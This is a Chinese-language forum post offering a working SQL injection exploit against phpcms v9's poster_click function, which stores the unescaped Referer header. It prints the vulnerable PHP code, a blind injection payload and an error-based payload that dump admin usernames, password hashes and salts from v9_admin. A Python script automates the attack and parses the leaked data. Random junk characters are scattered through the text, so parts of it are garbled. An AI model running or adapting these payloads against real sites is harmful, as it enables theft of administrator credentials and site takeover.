phpcms post_click注入0day利用代码

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有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
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+ H( s, O/ t$ \5 {问题函数\phpcms\modules\poster\index.php

, r* A' `0 ^5 z& Z; Mpublic function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
/ i$ }. ?' P' m# _& V# O$r = $this->db->get_one(array('id'=>$id));
5 m( E1 H9 C) X( Mif (!is_array($r) && empty($r)) return false;
8 X- e  b6 _* F% K! E( X$ip_area = pc_base::load_sys_class('ip_area');
$ip = ip();
) v' k# N( ]9 j, Z& p$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
" J% `: X' h- N" Y  B" mif($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
  W4 K* J# q; |% P) F) a, x. p$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
& p, u2 x4 O( B$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
7 @) {0 S0 B3 w8 l& N' n1 C; M. K3 Bif (count($setting)==1) {
9 M' B1 K' d( {$url = $setting['1']['linkurl'];
2 N0 ^" ?, W6 e: {- j) a$ P7 @} else {
3 Z4 B. S- O" k% z$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
' X4 y# q# p9 A7 `  h}
# ^. a, h# \' @; m$ Q" w! Mheader('Location: '.$url);
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利用方式：
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& r7 c3 Z1 U0 A, W: d1、可以采用盲注入的手法：

' j( L/ u* y% T' s3 k2 u5 i8 ]* Greferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

" \4 p* ^# n1 q% u& E通过返回页面，正常与否一个个猜解密码字段。

# u+ u# n* F/ U1 v# |! N2、代码是花开写的，随手附上了：

- c. v4 `: r& ~# M1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
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此方法是爆错注入手法，原理自查。
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( T* a) E0 w5 k利用程序:

3 |/ ]* |2 G$ c" i9 h5 ?0 p3 i7 u% k( X#!/usr/bin/env python
import httplib,sys,re

def attack():
/ M+ d! N; K! D0 F% [# u6 Pprint “Code by Pax.Mac Team conqu3r!”
8 x8 H9 t) p% c  R& Rprint “Welcome to our zone!!!”
url=sys.argv[1]
! A7 i) u3 L% K3 n# D( B  H! j/ mpaths=sys.argv[2]
* {5 j* F1 u3 |conn = httplib.HTTPConnection(url)
i_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
“Accept”: “text/plain”,
* R# O7 x5 R+ b0 q“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
conn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)
r1 = conn.getresponse()
9 _" v6 T& g& \: C/ b5 e$ Fdatas=r1.read()
datas=re.findall(r”Duplicate entry \’\w+’”, datas)
9 G. A" G3 }2 a4 F2 |5 J; \6 Nprint datas[0]
conn.close()
if __name__==”__main__”:
0 w: `. y" E8 G( j) A- Nif len(sys.argv)<3:
$ j5 }1 L0 g  C2 b3 |$ hprint “Code by Pax.Mac Team conqu3r”
  H# D$ d3 w7 T  Bprint “Usgae:”
1 |! R  c$ N/ P5 aprint “    phpcmsattack.py   www.paxmac.org /”
- f5 t4 T2 C  p- l* u# wprint “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”
sys.exit(1)
* G- H% [( i' g4 W$ S6 ^3 Pattack()
# Y* C$ o+ p: J. n" U  s
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